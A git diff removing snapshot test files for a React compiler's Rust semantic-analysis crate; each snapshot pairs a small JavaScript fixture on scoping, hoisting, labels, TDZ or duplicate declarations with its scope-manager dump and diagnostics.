diff --git a/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@globals-and-imports.js.snap b/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@globals-and-imports.js.snap
deleted file mode 100644
index 7f2411fab96b..000000000000
--- a/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@globals-and-imports.js.snap
+++ /dev/null
@@ -1,407 +0,0 @@
----
-source: crates/react_semantic_analysis/tests/analysis_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nAnalysis:\\n{output}\")"
-input_file: crates/react_semantic_analysis/tests/fixtures/globals-and-imports.js
----
-Input:
-import Foo from "foo";
-import * as Bar from "bar";
-import { Baz } from "baz";
-
-function Component(props) {
-  let g = global;
-  let y = new Array(props.count);
-  let s = String("hello");
-  let b = Boolean(true);
-  let n = Number(0);
-  let x = Math.min(props.x, props.y);
-  setTimeout(() => {}, 0);
-  setInterval(() => {}, 0);
-  Foo;
-  Bar;
-  Baz;
-}
-
-
-Analysis:
-ScopeManager {
-    globals: [
-        (
-            "Array",
-            DeclarationId(
-                0,
-            ),
-        ),
-        (
-            "Boolean",
-            DeclarationId(
-                1,
-            ),
-        ),
-        (
-            "console",
-            DeclarationId(
-                2,
-            ),
-        ),
-        (
-            "global",
-            DeclarationId(
-                3,
-            ),
-        ),
-        (
-            "Math",
-            DeclarationId(
-                4,
-            ),
-        ),
-        (
-            "Number",
-            DeclarationId(
-                5,
-            ),
-        ),
-        (
-            "setInterval",
-            DeclarationId(
-                6,
-            ),
-        ),
-        (
-            "setTimeout",
-            DeclarationId(
-                7,
-            ),
-        ),
-        (
-            "String",
-            DeclarationId(
-                8,
-            ),
-        ),
-    ],
-    root: Scope {
-        id: ScopeId(
-            0,
-        ),
-        kind: Module,
-        declarations: {
-            "Foo": Declaration {
-                id: DeclarationId(
-                    9,
-                ),
-                kind: Import,
-                scope: ScopeId(
-                    0,
-                ),
-            },
-            "Bar": Declaration {
-                id: DeclarationId(
-                    10,
-                ),
-                kind: Import,
-                scope: ScopeId(
-                    0,
-                ),
-            },
-            "Baz": Declaration {
-                id: DeclarationId(
-                    11,
-                ),
-                kind: Import,
-                scope: ScopeId(
-                    0,
-                ),
-            },
-            "Component": Declaration {
-                id: DeclarationId(
-                    12,
-                ),
-                kind: Function,
-                scope: ScopeId(
-                    0,
-                ),
-            },
-        },
-        references: [],
-        children: [
-            Scope {
-                id: ScopeId(
-                    1,
-                ),
-                kind: Function,
-                declarations: {
-                    "props": Declaration {
-                        id: DeclarationId(
-                            13,
-                        ),
-                        kind: Function,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "g": Declaration {
-                        id: DeclarationId(
-                            14,
-                        ),
-                        kind: Let,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "y": Declaration {
-                        id: DeclarationId(
-                            15,
-                        ),
-                        kind: Let,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "s": Declaration {
-                        id: DeclarationId(
-                            16,
-                        ),
-                        kind: Let,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "b": Declaration {
-                        id: DeclarationId(
-                            17,
-                        ),
-                        kind: Let,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "n": Declaration {
-                        id: DeclarationId(
-                            18,
-                        ),
-                        kind: Let,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "x": Declaration {
-                        id: DeclarationId(
-                            19,
-                        ),
-                        kind: Let,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                },
-                references: [
-                    Reference {
-                        id: ReferenceId(
-                            0,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            3,
-                        ),
-                        declaration (name): "global",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            1,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            0,
-                        ),
-                        declaration (name): "Array",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            2,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            13,
-                        ),
-                        declaration (name): "props",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            3,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            8,
-                        ),
-                        declaration (name): "String",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            4,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            1,
-                        ),
-                        declaration (name): "Boolean",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            5,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            5,
-                        ),
-                        declaration (name): "Number",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            6,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            4,
-                        ),
-                        declaration (name): "Math",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            7,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            13,
-                        ),
-                        declaration (name): "props",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            8,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            13,
-                        ),
-                        declaration (name): "props",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            9,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            7,
-                        ),
-                        declaration (name): "setTimeout",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            10,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            6,
-                        ),
-                        declaration (name): "setInterval",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            11,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            9,
-                        ),
-                        declaration (name): "Foo",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            12,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            10,
-                        ),
-                        declaration (name): "Bar",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            13,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            11,
-                        ),
-                        declaration (name): "Baz",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                ],
-                children: [
-                    Scope {
-                        id: ScopeId(
-                            2,
-                        ),
-                        kind: Function,
-                        declarations: {},
-                        references: [],
-                        children: [],
-                    },
-                    Scope {
-                        id: ScopeId(
-                            3,
-                        ),
-                        kind: Function,
-                        declarations: {},
-                        references: [],
-                        children: [],
-                    },
-                ],
-            },
-        ],
-    },
-}
-
diff --git a/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@labels.js.snap b/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@labels.js.snap
deleted file mode 100644
index ea50d891e919..000000000000
--- a/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@labels.js.snap
+++ /dev/null
@@ -1,272 +0,0 @@
----
-source: crates/react_semantic_analysis/tests/analysis_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nAnalysis:\\n{output}\")"
-input_file: crates/react_semantic_analysis/tests/fixtures/labels.js
----
-Input:
-function Component(props) {
-  let y = 0;
-  foo: for (let x = 0; x < 10; x++) {
-    if (x == 7) {
-      break foo;
-    }
-    y = x + y;
-    continue foo;
-  }
-  bar: if (props) {
-    break bar;
-  }
-}
-
-
-Analysis:
-ScopeManager {
-    globals: [
-        (
-            "Array",
-            DeclarationId(
-                0,
-            ),
-        ),
-        (
-            "Boolean",
-            DeclarationId(
-                1,
-            ),
-        ),
-        (
-            "console",
-            DeclarationId(
-                2,
-            ),
-        ),
-        (
-            "global",
-            DeclarationId(
-                3,
-            ),
-        ),
-        (
-            "Math",
-            DeclarationId(
-                4,
-            ),
-        ),
-        (
-            "Number",
-            DeclarationId(
-                5,
-            ),
-        ),
-        (
-            "setInterval",
-            DeclarationId(
-                6,
-            ),
-        ),
-        (
-            "setTimeout",
-            DeclarationId(
-                7,
-            ),
-        ),
-        (
-            "String",
-            DeclarationId(
-                8,
-            ),
-        ),
-    ],
-    root: Scope {
-        id: ScopeId(
-            0,
-        ),
-        kind: Module,
-        declarations: {
-            "Component": Declaration {
-                id: DeclarationId(
-                    9,
-                ),
-                kind: Function,
-                scope: ScopeId(
-                    0,
-                ),
-            },
-        },
-        references: [],
-        children: [
-            Scope {
-                id: ScopeId(
-                    1,
-                ),
-                kind: Function,
-                declarations: {
-                    "props": Declaration {
-                        id: DeclarationId(
-                            10,
-                        ),
-                        kind: Function,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "y": Declaration {
-                        id: DeclarationId(
-                            11,
-                        ),
-                        kind: Let,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                },
-                references: [
-                    Reference {
-                        id: ReferenceId(
-                            6,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            10,
-                        ),
-                        declaration (name): "props",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                ],
-                children: [
-                    Scope {
-                        id: ScopeId(
-                            2,
-                        ),
-                        kind: For,
-                        declarations: {
-                            "x": Declaration {
-                                id: DeclarationId(
-                                    12,
-                                ),
-                                kind: Let,
-                                scope: ScopeId(
-                                    2,
-                                ),
-                            },
-                        },
-                        references: [
-                            Reference {
-                                id: ReferenceId(
-                                    0,
-                                ),
-                                kind: Read,
-                                declaration: DeclarationId(
-                                    12,
-                                ),
-                                declaration (name): "x",
-                                scope: ScopeId(
-                                    2,
-                                ),
-                            },
-                            Reference {
-                                id: ReferenceId(
-                                    1,
-                                ),
-                                kind: Read,
-                                declaration: DeclarationId(
-                                    12,
-                                ),
-                                declaration (name): "x",
-                                scope: ScopeId(
-                                    2,
-                                ),
-                            },
-                        ],
-                        children: [
-                            Scope {
-                                id: ScopeId(
-                                    3,
-                                ),
-                                kind: Block,
-                                declarations: {},
-                                references: [
-                                    Reference {
-                                        id: ReferenceId(
-                                            2,
-                                        ),
-                                        kind: Read,
-                                        declaration: DeclarationId(
-                                            12,
-                                        ),
-                                        declaration (name): "x",
-                                        scope: ScopeId(
-                                            3,
-                                        ),
-                                    },
-                                    Reference {
-                                        id: ReferenceId(
-                                            3,
-                                        ),
-                                        kind: Write,
-                                        declaration: DeclarationId(
-                                            11,
-                                        ),
-                                        declaration (name): "y",
-                                        scope: ScopeId(
-                                            3,
-                                        ),
-                                    },
-                                    Reference {
-                                        id: ReferenceId(
-                                            4,
-                                        ),
-                                        kind: Read,
-                                        declaration: DeclarationId(
-                                            12,
-                                        ),
-                                        declaration (name): "x",
-                                        scope: ScopeId(
-                                            3,
-                                        ),
-                                    },
-                                    Reference {
-                                        id: ReferenceId(
-                                            5,
-                                        ),
-                                        kind: Read,
-                                        declaration: DeclarationId(
-                                            11,
-                                        ),
-                                        declaration (name): "y",
-                                        scope: ScopeId(
-                                            3,
-                                        ),
-                                    },
-                                ],
-                                children: [
-                                    Scope {
-                                        id: ScopeId(
-                                            4,
-                                        ),
-                                        kind: Block,
-                                        declarations: {},
-                                        references: [],
-                                        children: [],
-                                    },
-                                ],
-                            },
-                        ],
-                    },
-                    Scope {
-                        id: ScopeId(
-                            5,
-                        ),
-                        kind: Block,
-                        declarations: {},
-                        references: [],
-                        children: [],
-                    },
-                ],
-            },
-        ],
-    },
-}
-
diff --git a/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@let-const-hoisting.js.snap b/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@let-const-hoisting.js.snap
deleted file mode 100644
index 23028e1404a4..000000000000
--- a/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@let-const-hoisting.js.snap
+++ /dev/null
@@ -1,170 +0,0 @@
----
-source: crates/react_semantic_analysis/tests/analysis_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nAnalysis:\\n{output}\")"
-input_file: crates/react_semantic_analysis/tests/fixtures/let-const-hoisting.js
----
-Input:
-function Component() {
-  function foo() {
-    a;
-    b;
-  }
-  let a;
-  const b = true;
-}
-
-
-Analysis:
-ScopeManager {
-    globals: [
-        (
-            "Array",
-            DeclarationId(
-                0,
-            ),
-        ),
-        (
-            "Boolean",
-            DeclarationId(
-                1,
-            ),
-        ),
-        (
-            "console",
-            DeclarationId(
-                2,
-            ),
-        ),
-        (
-            "global",
-            DeclarationId(
-                3,
-            ),
-        ),
-        (
-            "Math",
-            DeclarationId(
-                4,
-            ),
-        ),
-        (
-            "Number",
-            DeclarationId(
-                5,
-            ),
-        ),
-        (
-            "setInterval",
-            DeclarationId(
-                6,
-            ),
-        ),
-        (
-            "setTimeout",
-            DeclarationId(
-                7,
-            ),
-        ),
-        (
-            "String",
-            DeclarationId(
-                8,
-            ),
-        ),
-    ],
-    root: Scope {
-        id: ScopeId(
-            0,
-        ),
-        kind: Module,
-        declarations: {
-            "Component": Declaration {
-                id: DeclarationId(
-                    9,
-                ),
-                kind: Function,
-                scope: ScopeId(
-                    0,
-                ),
-            },
-        },
-        references: [],
-        children: [
-            Scope {
-                id: ScopeId(
-                    1,
-                ),
-                kind: Function,
-                declarations: {
-                    "foo": Declaration {
-                        id: DeclarationId(
-                            10,
-                        ),
-                        kind: Function,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "a": Declaration {
-                        id: DeclarationId(
-                            11,
-                        ),
-                        kind: Let,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "b": Declaration {
-                        id: DeclarationId(
-                            12,
-                        ),
-                        kind: Const,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                },
-                references: [],
-                children: [
-                    Scope {
-                        id: ScopeId(
-                            2,
-                        ),
-                        kind: Function,
-                        declarations: {},
-                        references: [
-                            Reference {
-                                id: ReferenceId(
-                                    0,
-                                ),
-                                kind: Read,
-                                declaration: DeclarationId(
-                                    11,
-                                ),
-                                declaration (name): "a",
-                                scope: ScopeId(
-                                    2,
-                                ),
-                            },
-                            Reference {
-                                id: ReferenceId(
-                                    1,
-                                ),
-                                kind: Read,
-                                declaration: DeclarationId(
-                                    12,
-                                ),
-                                declaration (name): "b",
-                                scope: ScopeId(
-                                    2,
-                                ),
-                            },
-                        ],
-                        children: [],
-                    },
-                ],
-            },
-        ],
-    },
-}
-
diff --git a/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@simple-function.js.snap b/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@simple-function.js.snap
deleted file mode 100644
index d01d1a376701..000000000000
--- a/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@simple-function.js.snap
+++ /dev/null
@@ -1,252 +0,0 @@
----
-source: crates/react_semantic_analysis/tests/analysis_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nAnalysis:\\n{output}\")"
-input_file: crates/react_semantic_analysis/tests/fixtures/simple-function.js
----
-Input:
-function Component(a) {
-  Math;
-  let b = 0;
-  const foo = function foo_(c) {
-    let d = 1;
-    return a + b + c + d;
-  };
-  return foo();
-}
-
-
-Analysis:
-ScopeManager {
-    globals: [
-        (
-            "Array",
-            DeclarationId(
-                0,
-            ),
-        ),
-        (
-            "Boolean",
-            DeclarationId(
-                1,
-            ),
-        ),
-        (
-            "console",
-            DeclarationId(
-                2,
-            ),
-        ),
-        (
-            "global",
-            DeclarationId(
-                3,
-            ),
-        ),
-        (
-            "Math",
-            DeclarationId(
-                4,
-            ),
-        ),
-        (
-            "Number",
-            DeclarationId(
-                5,
-            ),
-        ),
-        (
-            "setInterval",
-            DeclarationId(
-                6,
-            ),
-        ),
-        (
-            "setTimeout",
-            DeclarationId(
-                7,
-            ),
-        ),
-        (
-            "String",
-            DeclarationId(
-                8,
-            ),
-        ),
-    ],
-    root: Scope {
-        id: ScopeId(
-            0,
-        ),
-        kind: Module,
-        declarations: {
-            "Component": Declaration {
-                id: DeclarationId(
-                    9,
-                ),
-                kind: Function,
-                scope: ScopeId(
-                    0,
-                ),
-            },
-        },
-        references: [],
-        children: [
-            Scope {
-                id: ScopeId(
-                    1,
-                ),
-                kind: Function,
-                declarations: {
-                    "a": Declaration {
-                        id: DeclarationId(
-                            10,
-                        ),
-                        kind: Function,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "b": Declaration {
-                        id: DeclarationId(
-                            11,
-                        ),
-                        kind: Let,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "foo": Declaration {
-                        id: DeclarationId(
-                            12,
-                        ),
-                        kind: Const,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                },
-                references: [
-                    Reference {
-                        id: ReferenceId(
-                            0,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            4,
-                        ),
-                        declaration (name): "Math",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            5,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            12,
-                        ),
-                        declaration (name): "foo",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                ],
-                children: [
-                    Scope {
-                        id: ScopeId(
-                            2,
-                        ),
-                        kind: Function,
-                        declarations: {
-                            "foo_": Declaration {
-                                id: DeclarationId(
-                                    13,
-                                ),
-                                kind: Function,
-                                scope: ScopeId(
-                                    2,
-                                ),
-                            },
-                            "c": Declaration {
-                                id: DeclarationId(
-                                    14,
-                                ),
-                                kind: Function,
-                                scope: ScopeId(
-                                    2,
-                                ),
-                            },
-                            "d": Declaration {
-                                id: DeclarationId(
-                                    15,
-                                ),
-                                kind: Let,
-                                scope: ScopeId(
-                                    2,
-                                ),
-                            },
-                        },
-                        references: [
-                            Reference {
-                                id: ReferenceId(
-                                    1,
-                                ),
-                                kind: Read,
-                                declaration: DeclarationId(
-                                    10,
-                                ),
-                                declaration (name): "a",
-                                scope: ScopeId(
-                                    2,
-                                ),
-                            },
-                            Reference {
-                                id: ReferenceId(
-                                    2,
-                                ),
-                                kind: Read,
-                                declaration: DeclarationId(
-                                    11,
-                                ),
-                                declaration (name): "b",
-                                scope: ScopeId(
-                                    2,
-                                ),
-                            },
-                            Reference {
-                                id: ReferenceId(
-                                    3,
-                                ),
-                                kind: Read,
-                                declaration: DeclarationId(
-                                    14,
-                                ),
-                                declaration (name): "c",
-                                scope: ScopeId(
-                                    2,
-                                ),
-                            },
-                            Reference {
-                                id: ReferenceId(
-                                    4,
-                                ),
-                                kind: Read,
-                                declaration: DeclarationId(
-                                    15,
-                                ),
-                                declaration (name): "d",
-                                scope: ScopeId(
-                                    2,
-                                ),
-                            },
-                        ],
-                        children: [],
-                    },
-                ],
-            },
-        ],
-    },
-}
-
diff --git a/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@tdz.js.snap b/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@tdz.js.snap
deleted file mode 100644
index 9ed94eb7960a..000000000000
--- a/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@tdz.js.snap
+++ /dev/null
@@ -1,234 +0,0 @@
----
-source: crates/react_semantic_analysis/tests/analysis_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nAnalysis:\\n{output}\")"
-input_file: crates/react_semantic_analysis/tests/fixtures/tdz.js
----
-Input:
-function Component() {
-  a; // invalid
-  if (true) {
-    a; // invalid
-  }
-  for (;;) {
-    a; // invalid
-  }
-  function foo() {
-    a; // will be a runtime tdz error but we don't detect that statically
-  }
-  foo(); // above is a runtime tdz error bc of this call
-  let a;
-}
-
-
-Analysis:
-ScopeManager {
-    globals: [
-        (
-            "Array",
-            DeclarationId(
-                0,
-            ),
-        ),
-        (
-            "Boolean",
-            DeclarationId(
-                1,
-            ),
-        ),
-        (
-            "console",
-            DeclarationId(
-                2,
-            ),
-        ),
-        (
-            "global",
-            DeclarationId(
-                3,
-            ),
-        ),
-        (
-            "Math",
-            DeclarationId(
-                4,
-            ),
-        ),
-        (
-            "Number",
-            DeclarationId(
-                5,
-            ),
-        ),
-        (
-            "setInterval",
-            DeclarationId(
-                6,
-            ),
-        ),
-        (
-            "setTimeout",
-            DeclarationId(
-                7,
-            ),
-        ),
-        (
-            "String",
-            DeclarationId(
-                8,
-            ),
-        ),
-    ],
-    root: Scope {
-        id: ScopeId(
-            0,
-        ),
-        kind: Module,
-        declarations: {
-            "Component": Declaration {
-                id: DeclarationId(
-                    9,
-                ),
-                kind: Function,
-                scope: ScopeId(
-                    0,
-                ),
-            },
-        },
-        references: [],
-        children: [
-            Scope {
-                id: ScopeId(
-                    1,
-                ),
-                kind: Function,
-                declarations: {
-                    "foo": Declaration {
-                        id: DeclarationId(
-                            10,
-                        ),
-                        kind: Function,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "a": Declaration {
-                        id: DeclarationId(
-                            11,
-                        ),
-                        kind: Let,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                },
-                references: [
-                    Reference {
-                        id: ReferenceId(
-                            1,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            10,
-                        ),
-                        declaration (name): "foo",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                ],
-                children: [
-                    Scope {
-                        id: ScopeId(
-                            2,
-                        ),
-                        kind: Block,
-                        declarations: {},
-                        references: [],
-                        children: [],
-                    },
-                    Scope {
-                        id: ScopeId(
-                            3,
-                        ),
-                        kind: Block,
-                        declarations: {},
-                        references: [],
-                        children: [],
-                    },
-                    Scope {
-                        id: ScopeId(
-                            4,
-                        ),
-                        kind: Function,
-                        declarations: {},
-                        references: [
-                            Reference {
-                                id: ReferenceId(
-                                    0,
-                                ),
-                                kind: Read,
-                                declaration: DeclarationId(
-                                    11,
-                                ),
-                                declaration (name): "a",
-                                scope: ScopeId(
-                                    4,
-                                ),
-                            },
-                        ],
-                        children: [],
-                    },
-                ],
-            },
-        ],
-    },
-}
-Diagnostic(
-    DiagnosticData {
-        message: "Undefined variable",
-        span: Some(
-            SourceSpan {
-                offset: SourceOffset(
-                    25,
-                ),
-                length: 1,
-            },
-        ),
-        related_information: [],
-        severity: InvalidSyntax,
-        data: [],
-    },
-)
-Diagnostic(
-    DiagnosticData {
-        message: "Undefined variable",
-        span: Some(
-            SourceSpan {
-                offset: SourceOffset(
-                    57,
-                ),
-                length: 1,
-            },
-        ),
-        related_information: [],
-        severity: InvalidSyntax,
-        data: [],
-    },
-)
-Diagnostic(
-    DiagnosticData {
-        message: "Undefined variable",
-        span: Some(
-            SourceSpan {
-                offset: SourceOffset(
-                    92,
-                ),
-                length: 1,
-            },
-        ),
-        related_information: [],
-        severity: InvalidSyntax,
-        data: [],
-    },
-)
-
diff --git a/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@var-duplication.js.snap b/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@var-duplication.js.snap
deleted file mode 100644
index e413e2712467..000000000000
--- a/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@var-duplication.js.snap
+++ /dev/null
@@ -1,372 +0,0 @@
----
-source: crates/react_semantic_analysis/tests/analysis_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nAnalysis:\\n{output}\")"
-input_file: crates/react_semantic_analysis/tests/fixtures/var-duplication.js
----
-Input:
-function Component() {
-  let a;
-  {
-    var a; // error, conflicts when hoisted
-  }
-
-  const b = 1;
-  {
-    var b; // error, conflicts
-  }
-
-  {
-    let c;
-    var c; // error, conflicts
-  }
-
-  {
-    const d = 2;
-    var d; // error, conflicts
-  }
-
-  // there should be one instance of `e`:
-  var e = 3;
-  console.log(e); // 3
-  var e = 4;
-  console.log(e); // 4
-  var e;
-  console.log(e); // 4
-}
-
-
-Analysis:
-ScopeManager {
-    globals: [
-        (
-            "Array",
-            DeclarationId(
-                0,
-            ),
-        ),
-        (
-            "Boolean",
-            DeclarationId(
-                1,
-            ),
-        ),
-        (
-            "console",
-            DeclarationId(
-                2,
-            ),
-        ),
-        (
-            "global",
-            DeclarationId(
-                3,
-            ),
-        ),
-        (
-            "Math",
-            DeclarationId(
-                4,
-            ),
-        ),
-        (
-            "Number",
-            DeclarationId(
-                5,
-            ),
-        ),
-        (
-            "setInterval",
-            DeclarationId(
-                6,
-            ),
-        ),
-        (
-            "setTimeout",
-            DeclarationId(
-                7,
-            ),
-        ),
-        (
-            "String",
-            DeclarationId(
-                8,
-            ),
-        ),
-    ],
-    root: Scope {
-        id: ScopeId(
-            0,
-        ),
-        kind: Module,
-        declarations: {
-            "Component": Declaration {
-                id: DeclarationId(
-                    9,
-                ),
-                kind: Function,
-                scope: ScopeId(
-                    0,
-                ),
-            },
-        },
-        references: [],
-        children: [
-            Scope {
-                id: ScopeId(
-                    1,
-                ),
-                kind: Function,
-                declarations: {
-                    "a": Declaration {
-                        id: DeclarationId(
-                            10,
-                        ),
-                        kind: Let,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "b": Declaration {
-                        id: DeclarationId(
-                            12,
-                        ),
-                        kind: Const,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "c": Declaration {
-                        id: DeclarationId(
-                            15,
-                        ),
-                        kind: Var,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "d": Declaration {
-                        id: DeclarationId(
-                            17,
-                        ),
-                        kind: Var,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "e": Declaration {
-                        id: DeclarationId(
-                            18,
-                        ),
-                        kind: Var,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                },
-                references: [
-                    Reference {
-                        id: ReferenceId(
-                            0,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            2,
-                        ),
-                        declaration (name): "console",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            1,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            18,
-                        ),
-                        declaration (name): "e",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            2,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            2,
-                        ),
-                        declaration (name): "console",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            3,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            18,
-                        ),
-                        declaration (name): "e",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            4,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            2,
-                        ),
-                        declaration (name): "console",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            5,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            18,
-                        ),
-                        declaration (name): "e",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                ],
-                children: [
-                    Scope {
-                        id: ScopeId(
-                            2,
-                        ),
-                        kind: Block,
-                        declarations: {},
-                        references: [],
-                        children: [],
-                    },
-                    Scope {
-                        id: ScopeId(
-                            3,
-                        ),
-                        kind: Block,
-                        declarations: {},
-                        references: [],
-                        children: [],
-                    },
-                    Scope {
-                        id: ScopeId(
-                            4,
-                        ),
-                        kind: Block,
-                        declarations: {
-                            "c": Declaration {
-                                id: DeclarationId(
-                                    14,
-                                ),
-                                kind: Let,
-                                scope: ScopeId(
-                                    4,
-                                ),
-                            },
-                        },
-                        references: [],
-                        children: [],
-                    },
-                    Scope {
-                        id: ScopeId(
-                            5,
-                        ),
-                        kind: Block,
-                        declarations: {
-                            "d": Declaration {
-                                id: DeclarationId(
-                                    16,
-                                ),
-                                kind: Const,
-                                scope: ScopeId(
-                                    5,
-                                ),
-                            },
-                        },
-                        references: [],
-                        children: [],
-                    },
-                ],
-            },
-        ],
-    },
-}
-Diagnostic(
-    DiagnosticData {
-        message: "Duplicate declaration",
-        span: Some(
-            SourceSpan {
-                offset: SourceOffset(
-                    44,
-                ),
-                length: 1,
-            },
-        ),
-        related_information: [],
-        severity: InvalidSyntax,
-        data: [],
-    },
-)
-Diagnostic(
-    DiagnosticData {
-        message: "Duplicate declaration",
-        span: Some(
-            SourceSpan {
-                offset: SourceOffset(
-                    112,
-                ),
-                length: 1,
-            },
-        ),
-        related_information: [],
-        severity: InvalidSyntax,
-        data: [],
-    },
-)
-Diagnostic(
-    DiagnosticData {
-        message: "Duplicate declaration",
-        span: Some(
-            SourceSpan {
-                offset: SourceOffset(
-                    163,
-                ),
-                length: 1,
-            },
-        ),
-        related_information: [],
-        severity: InvalidSyntax,
-        data: [],
-    },
-)
-Diagnostic(
-    DiagnosticData {
-        message: "Duplicate declaration",
-        span: Some(
-            SourceSpan {
-                offset: SourceOffset(
-                    220,
-                ),
-                length: 1,
-            },
-        ),
-        related_information: [],
-        severity: InvalidSyntax,
-        data: [],
-    },
-)
-
diff --git a/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@var-hoisting.js.snap b/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@var-hoisting.js.snap
deleted file mode 100644
